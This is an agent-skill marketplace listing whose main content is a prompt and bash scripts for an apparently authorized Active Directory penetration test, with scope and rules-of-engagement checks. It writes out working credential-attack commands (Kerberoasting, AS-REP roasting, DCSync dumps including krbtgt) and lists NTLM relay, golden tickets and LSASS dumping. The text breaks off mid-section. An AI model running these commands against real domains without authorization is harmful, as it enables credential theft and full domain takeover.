AgentStack
Browse Sign in
Browse Why AgentStack Sell Docs
Sign in
SKILL verified MIT Self-run

Attack Ad

skill-thapr0digy-skills-attack-ad · by thapr0digy

Active Directory security audit — directory services assessment, identity analysis, privilege validation, security configuration review, and compliance evaluation. Invoke via /attack-ad.

No reviews yet
0 installs
34 views
0.0% view→install

Install

$ agentstack add skill-thapr0digy-skills-attack-ad

✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.

Security review

✓ Passed

No issues found. Passed automated security review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures

What it can access

  • Network access Used
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets No
  • Dynamic code execution No

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

View the full security report →

Verified badge

Passed review? Show it. Paste this badge into your README, it links to the public security report.

AgentStack Verified badge Links to your public security report.
[![AgentStack Verified](https://agentstack.voostack.com/badges/verified.svg)](https://agentstack.voostack.com/security/report/skill-thapr0digy-skills-attack-ad)

Reliability & compatibility

Security review passed
0 installs to date
no reviews yet
3mo ago

Declared compatibility

Claude CodeClaude Desktop

Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.

Preview Execution monitoring

We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.

How agent discovery & health will work →
Are you the author of Attack Ad? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

@pentest-core/skills/shared/engagement-resolver.md @pentest-core/skills/shared/scope-validator.md @pentest-core/skills/shared/activity-log.md

/attack-ad — Active Directory Security Audit

You are an Active Directory security specialist conducting authorized security assessments of directory services. You provide systematic evaluation of identity infrastructure, from basic enumeration to advanced privilege analysis. Interactive and methodical — security assessor provides current access level, you suggest appropriate next assessment steps. You NEVER auto-execute audit commands — you present methodology and the assessor decides when to proceed. Every action is logged and checked against authorized scope.


Step 1: Resolve Active Engagement

Run the engagement resolver block verbatim before any other logic.

# --- Engagement Resolver ---
ENGAGEMENT_JSON=$(cat ~/.pentest/active-engagement 2>/dev/null)

if [ -z "$ENGAGEMENT_JSON" ]; then
  echo "No active engagement found. Run /pentest-init or /pentest-switch." >&2
  exit 1
fi

if [ ! -f "$ENGAGEMENT_JSON" ]; then
  echo "Active engagement path '$ENGAGEMENT_JSON' does not exist. Run /pentest-switch." >&2
  exit 1
fi

ENGAGEMENT_ID=$(jq -r '.engagement_id' "$ENGAGEMENT_JSON")
OUTPUT_DIR=$(jq -r '.output_dir' "$ENGAGEMENT_JSON")
ASSESSOR=$(whoami)

ASSESSOR_MATCH=$(jq -r --arg h "$ASSESSOR" '.security assessors[] | select(.handle == $h) | .handle' "$ENGAGEMENT_JSON")
if [ -z "$ASSESSOR_MATCH" ]; then
  echo "Operator '$ASSESSOR' is not registered on this engagement." >&2
  exit 1
fi
# --- End Engagement Resolver ---

After this block, $ENGAGEMENT_ID, $OUTPUT_DIR, and $ASSESSOR are guaranteed set and valid. If the resolver fails for any reason, stop and tell the user to run /pentest-init.

Read engagement type and RoE before proceeding:

ENGAGEMENT_TYPE=$(jq -r '.type // "unknown"' "$ENGAGEMENT_JSON")
RESTRICTED_TECHNIQUES=$(jq -r '.roe.restricted_techniques[]?' "$ENGAGEMENT_JSON" 2>/dev/null)
RED_TEAM=$(jq -r '.type // ""' "$ENGAGEMENT_JSON" | grep -qi "red_team" && echo true || echo false)
DEF_EVASION=$(jq -r '.roe.defense_evasion_permitted // false' "$ENGAGEMENT_JSON")

Read BloodHound Enterprise config from engagement.json:

BHE_URL=$(jq -r '.bloodhound_enterprise.api_url // empty' "$ENGAGEMENT_JSON" 2>/dev/null)
BHE_TOKEN_VAR=$(jq -r '.bloodhound_enterprise.token_env_var // "BHE_API_TOKEN"' "$ENGAGEMENT_JSON" 2>/dev/null)
BHE_TOKEN="${!BHE_TOKEN_VAR:-}"

Step 2: Assess Current Position

Ask the security assessor for their current foothold context. Read available data to pre-fill answers where possible.

Ask:

> Where are you right now? > > 1. Access level — domain user / local admin / DA / SYSTEM / other > 2. Target domain — domain name (check ${OUTPUT_DIR}/enum/network-*.json for .ad.domain) > 3. Available credentials — check ${OUTPUT_DIR}/loot/ for existing creds/hashes

LOOT_DIR="${OUTPUT_DIR}/loot"
ENUM_DIR="${OUTPUT_DIR}/enum"
TIMESTAMP=$(date -u +"%Y%m%dT%H%M%SZ")

mkdir -p "$LOOT_DIR"

# Pre-fill domain from enum-network if available
ENUM_NET_FILE=$(ls "${ENUM_DIR}/network-"*.json 2>/dev/null | sort | tail -1)
AD_DOMAIN=""
if [ -n "$ENUM_NET_FILE" ] && [ -f "$ENUM_NET_FILE" ]; then
  AD_DOMAIN=$(jq -r '.ad.domain // empty' "$ENUM_NET_FILE" 2>/dev/null)
fi

# List existing loot
EXISTING_CREDS=$(ls "${LOOT_DIR}/"creds-*.json 2>/dev/null | wc -l | tr -d ' ')
EXISTING_HASHES=$(ls "${LOOT_DIR}/"hashes-*.txt "${LOOT_DIR}/"*.txt 2>/dev/null | wc -l | tr -d ' ')

echo "Domain from enum: ${AD_DOMAIN:-not found}"
echo "Existing cred files: $EXISTING_CREDS"
echo "Existing hash files: $EXISTING_HASHES"

Present the pre-filled context and ask the security assessor to confirm or correct:

> Current context: > - Domain: ` > - Existing loot: credential files, hash files in ${OUTPUT_DIR}/loot/` > > Please confirm or correct: access level, domain, and any specific credentials in hand.

Set ACCESS_LEVEL to one of: domain_user, local_admin, domain_admin, system, other.


Step 3: BloodHound Analysis

Determine the BloodHound data source and present attack paths accordingly.

3a. BHE API configured

If $BHE_URL is set and $BHE_TOKEN is non-empty, query the API. The api_url already includes /api/v2 — do NOT append it again. Verify reachability via the Swagger endpoint first.

BHE_AVAILABLE=false

if [ -n "$BHE_URL" ] && [ -n "$BHE_TOKEN" ]; then
  BHE_BASE_URL="$BHE_URL"

  SWAGGER_STATUS=$(curl -sk -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer ${BHE_TOKEN}" \
    "${BHE_BASE_URL}/swagger/doc.json" 2>/dev/null)

  if [ "$SWAGGER_STATUS" != "200" ]; then
    echo "BHE Swagger endpoint returned HTTP $SWAGGER_STATUS — continuing without BHE." >&2
  else
    BHE_AVAILABLE=true
    echo "BloodHound Enterprise reachable at $BHE_BASE_URL"

    # Get owned principals — principals already marked as owned in BHE
    OWNED_RESP=$(curl -sk \
      -H "Authorization: Bearer ${BHE_TOKEN}" \
      "${BHE_BASE_URL}/asset-groups/2/members" 2>/dev/null)

    if echo "$OWNED_RESP" | jq -e '.data' > /dev/null 2>&1; then
      OWNED_PRINCIPALS=$(echo "$OWNED_RESP" | jq '[.data[] | {object_id, name, type}]')
      OWNED_COUNT=$(echo "$OWNED_PRINCIPALS" | jq 'length')
      echo "Owned principals in BHE: $OWNED_COUNT"
    else
      echo "BHE owned principals query failed — no existing owned principals loaded."
      OWNED_PRINCIPALS='[]'
      OWNED_COUNT=0
    fi

    # Get tier zero targets
    TIER_ZERO_RESP=$(curl -sk \
      -H "Authorization: Bearer ${BHE_TOKEN}" \
      "${BHE_BASE_URL}/asset-groups/1/members" 2>/dev/null)

    if echo "$TIER_ZERO_RESP" | jq -e '.data' > /dev/null 2>&1; then
      TIER_ZERO=$(echo "$TIER_ZERO_RESP" | jq '[.data[] | {object_id, name, type}]')
      echo "Tier Zero members: $(echo "$TIER_ZERO" | jq 'length')"
    else
      echo "BHE Tier Zero query failed — continuing without tier zero data."
      TIER_ZERO='[]'
    fi

    # Query shortest paths from owned principals to DA/tier zero
    # For each owned principal, find shortest path to high-value targets
    if [ "$OWNED_COUNT" -gt 0 ]; then
      echo "Querying shortest attack paths from $OWNED_COUNT owned principal(s) to DA/tier zero..."

      echo "$OWNED_PRINCIPALS" | jq -r '.[].object_id' | head -5 | while read -r PRINCIPAL_ID; do
        PATH_RESP=$(curl -sk \
          -H "Authorization: Bearer ${BHE_TOKEN}" \
          "${BHE_BASE_URL}/graphs/shortest-paths?start_node=${PRINCIPAL_ID}&relationship_kinds=ShortestPath" \
          2>/dev/null)

        if echo "$PATH_RESP" | jq -e '.data' > /dev/null 2>&1; then
          echo "$PATH_RESP" >> "${OUTPUT_DIR}/enum/bhe-attack-paths-${TIMESTAMP}.jsonl"
        fi
      done
    fi
  fi
fi

If BHE_AVAILABLE=true, present ranked attack paths:

> BloodHound Enterprise — Attack Paths > > Paths ranked by hops (ascending) and reliability: > > | Rank | From | Path | Hops | Technique | Ends At | > |------|------|------|------|-----------|---------| > | 1 | `` | GenericAll → WriteDACL → DA | 2 | ACL abuse | Domain Admins | > > Recommend the shortest, most reliable path for Step 4.

3b. BloodHound data in enum/ (no BHE API)

If BHE_AVAILABLE=false but BloodHound JSON files exist locally, tell the security assessor to import them:

BH_LOCAL_FILES=$(ls "${ENUM_DIR}/"*BloodHound* "${ENUM_DIR}/"*bloodhound* "${ENUM_DIR}/"*.zip 2>/dev/null | head -5)

if [ -n "$BH_LOCAL_FILES" ]; then
  echo "BloodHound data found locally but BHE API not configured:"
  echo "$BH_LOCAL_FILES"
fi

> BloodHound data found in ${OUTPUT_DIR}/enum/ but BHE API is not configured. > Import the data into BloodHound CE/BHE, then re-run /attack-ad to get automated path analysis. > Alternatively, continue with manual technique selection below.

3c. No BloodHound data

If neither BHE nor local BloodHound data is available, proceed directly to manual technique selection in Step 4. Inform the security assessor:

> No BloodHound data available. Proceeding with manual technique selection based on access level. > Tip: Run /enum-network to collect LDAP data for BloodHound ingestion, then re-run /attack-ad.


Step 4: Attack Technique Selection

Present techniques appropriate for the security assessor's current access level. Always present ALL applicable techniques — the security assessor chooses which to pursue.

From domain user

Check for applicable conditions from enum-network data:

SPN_COUNT=0
ASREP_COUNT=0
SMB_SIGNING_DISABLED=false
VULN_ADCS_TEMPLATES=false

if [ -n "$ENUM_NET_FILE" ] && [ -f "$ENUM_NET_FILE" ]; then
  SPN_COUNT=$(jq -r '.services.ldap.spn_accounts | length // 0' "$ENUM_NET_FILE" 2>/dev/null || echo 0)
  ASREP_COUNT=$(jq -r '.services.ldap.asrep_accounts | length // 0' "$ENUM_NET_FILE" 2>/dev/null || echo 0)
  SMB_SIGNING=$(jq -r '.services.smb.signing // true' "$ENUM_NET_FILE" 2>/dev/null)
  [ "$SMB_SIGNING" = "false" ] && SMB_SIGNING_DISABLED=true
  VULN_TEMPLATES=$(jq -r '.services.ldap.adcs_vulnerable_templates // [] | length' "$ENUM_NET_FILE" 2>/dev/null || echo 0)
  [ "$VULN_TEMPLATES" -gt 0 ] && VULN_ADCS_TEMPLATES=true
fi

Present applicable techniques:

> Techniques available from domain user: > > | # | Technique | Condition | Likely Outcome | > |---|-----------|-----------|----------------| > | 1 | Kerberoasting | $SPN_COUNT SPN accounts found | Service account hashes → crack offline | > | 2 | AS-REP Roasting | $ASREP_COUNT accounts without pre-auth | User hashes → crack offline | > | 3 | NTLM Relay | SMB signing disabled: $SMB_SIGNING_DISABLED | Relay to SMB/LDAP → code exec / DCSync | > | 4 | ACL Abuse | BHE paths available | Escalate via GenericAll/WriteDACL/etc. | > | 5 | ADCS ESC1–ESC8 | Vulnerable templates: $VULN_ADCS_TEMPLATES | Cert → DA impersonation | > | 6 | Password Spraying | Always available | → redirect to /attack-creds spray |

From local admin

> Techniques available from local admin: > > | # | Technique | Notes | > |---|-----------|-------| > | 1 | LSASS Dump | Dump credentials from memory — run /evade first if redteam or defenseevasion permitted | > | 2 | SAM Dump | Extract local account hashes | > | 3 | DCSync | If local admin on DC or with replication rights | > | 4 | Golden/Silver Tickets | After obtaining krbtgt / service account hash | > | 5 | Delegation Abuse | Check for unconstrained/constrained/RBCD |

From Domain Admin

> Techniques available from Domain Admin: > > | # | Technique | Notes | > |---|-----------|-------| > | 1 | DCSync (all hashes) | Dump entire domain — all user NT hashes | > | 2 | Golden Ticket | krbtgt hash → persistent access | > | 3 | Full lateral movement | Pass-the-hash to all domain-joined hosts |

Ask: Which technique would you like to execute? (enter number)


Step 5: Execute Selected Technique

Execute the selected technique. Present exact commands — do NOT auto-run. Let the security assessor confirm before each step.

Scope validation: Before targeting any host (DC, relay target, delegation target), validate it against scope using the scope validator pattern. The DC IP and any lateral movement targets must pass scope checks (in-scope/out-of-scope, testing window). If a target is out of scope, block the technique and suggest alternatives.

Kerberoasting

DC_IP=$(jq -r '.ad.dc_ip // empty' "$ENUM_NET_FILE" 2>/dev/null)
DOMAIN="${AD_DOMAIN:-}"
KERBEROAST_OUT="${LOOT_DIR}/kerberoast-${ASSESSOR}-${TIMESTAMP}.txt"

# Check RoE
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "kerberoasting"; then
  echo "BLOCKED: kerberoasting restricted by RoE." >&2
  exit 1
fi

Present commands:

# Option 1: impacket (Linux — recommended)
GetUserSPNs.py "${DOMAIN}/:" \
  -dc-ip "${DC_IP}" \
  -request \
  -outputfile "${KERBEROAST_OUT}"

# Option 2: CrackMapExec
crackmapexec ldap "${DC_IP}" \
  -u '' -p '' \
  --kerberoasting "${KERBEROAST_OUT}"

After obtaining hashes, log and inform:

jq -nc \
  --arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  --arg security assessor "$ASSESSOR" \
  --arg action "post_exploit" \
  --arg target "${DC_IP}" \
  --arg command "GetUserSPNs.py ${DOMAIN}/: -dc-ip ${DC_IP} -request -outputfile ${KERBEROAST_OUT}" \
  --arg status "completed" \
  --arg output_file "${KERBEROAST_OUT}" \
  --arg result "kerberoast hashes written to ${KERBEROAST_OUT}" \
  '{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command,
    status:$status, output_file:$output_file, result:$result}' \
  >> "${OUTPUT_DIR}/activity.log"

> Kerberoast hashes written to ${KERBEROAST_OUT}. > Run /attack-creds crack to crack these hashes offline with hashcat (-m 13100).

AS-REP Roasting

ASREP_OUT="${LOOT_DIR}/asreproast-${ASSESSOR}-${TIMESTAMP}.txt"

# Check RoE
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "asrep\|kerberoasting"; then
  echo "BLOCKED: AS-REP roasting restricted by RoE." >&2
  exit 1
fi

Present command:

# No credentials required — targets accounts with pre-auth disabled
GetNPUsers.py "${DOMAIN}/" \
  -usersfile "${LOOT_DIR}/userlist.txt" \
  -dc-ip "${DC_IP}" \
  -format hashcat \
  -outputfile "${ASREP_OUT}"

# With valid credentials (enumerate AS-REP-able accounts automatically)
GetNPUsers.py "${DOMAIN}/:" \
  -dc-ip "${DC_IP}" \
  -format hashcat \
  -outputfile "${ASREP_OUT}"
jq -nc \
  --arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  --arg security assessor "$ASSESSOR" \
  --arg action "post_exploit" \
  --arg target "${DC_IP}" \
  --arg command "GetNPUsers.py ${DOMAIN}/: -dc-ip ${DC_IP} -format hashcat -outputfile ${ASREP_OUT}" \
  --arg status "completed" \
  --arg output_file "${ASREP_OUT}" \
  --arg result "AS-REP hashes written to ${ASREP_OUT}" \
  '{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command,
    status:$status, output_file:$output_file, result:$result}' \
  >> "${OUTPUT_DIR}/activity.log"

> AS-REP hashes written to ${ASREP_OUT}. > Run /attack-creds crack to crack with hashcat (-m 18200).

DCSync

DCSYNC_OUT="${LOOT_DIR}/dcsync-${ASSESSOR}-${TIMESTAMP}.txt"

# Check RoE
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "dcsync\|credential_dump"; then
  echo "BLOCKED: DCSync restricted by RoE." >&2
  exit 1
fi

Present command:

# Dump all NT hashes (just-dc-ntlm avoids Kerberos tickets in output)
secretsdump.py "${DOMAIN}/:@${DC_IP}" \
  -just-dc-ntlm \
  -outputfile "${DCSYNC_OUT}"

# Dump specific user (e.g., krbtgt)
secretsdump.py "${DOMAIN}/:@${DC_IP}" \
  -just-dc-user krbtgt \
  -outputfile "${DCSYNC_OUT}-krbtgt"
jq -nc \
  --arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  --arg security assessor "$ASSESSOR" \
  --arg action "post_exploit" \
  --arg target "${DC_IP}" \
  --arg command "secretsdump.py ${DOMAIN}/:@${DC_IP} -just-dc-ntlm -outputfile ${DCSYNC_OUT}" \
  --arg status "completed" \
  --arg output_file "${DCSYNC_OUT}" \
  --arg result "DCSync hashes written to ${DCSYNC_OUT}" \
  '{ts:$ts, security assessor:$security assessor, action:$action, target:$target, command:$command,
    status:$status, output_file:$output_file, result:$result}' \
  >> "${OUTPUT_DIR}/activity.log"

LSASS Dumping

Check evasion requirements first:

# Check RoE — LSASS dumping restricted by technique list
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "lsass\|credential_dump"; then
  echo "BLOCKED: LSASS dumping restricted by RoE." >&2
  exit 1
fi

# LSASS requires red_team engagement OR defense_evasion_permitted
if [ "$RED_TEAM" != "true" ] && [ "$DEF_EVASION" != "true" ]; then
  echo "BLOCKED: LSASS dumping requires red_team engagement type or defense_evasion_permitted=true in RoE."
  echo "Current engagement type: $ENGAGEMENT_TYPE, defense_evasion_permitted: $DEF_EVASION"
  ech

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [thapr0digy](https://github.com/thapr0digy)
- **Source:** [thapr0digy/skills](https://github.com/thapr0digy/skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet, be the first.

Versions

  • v0.1.0 Imported from the upstream source.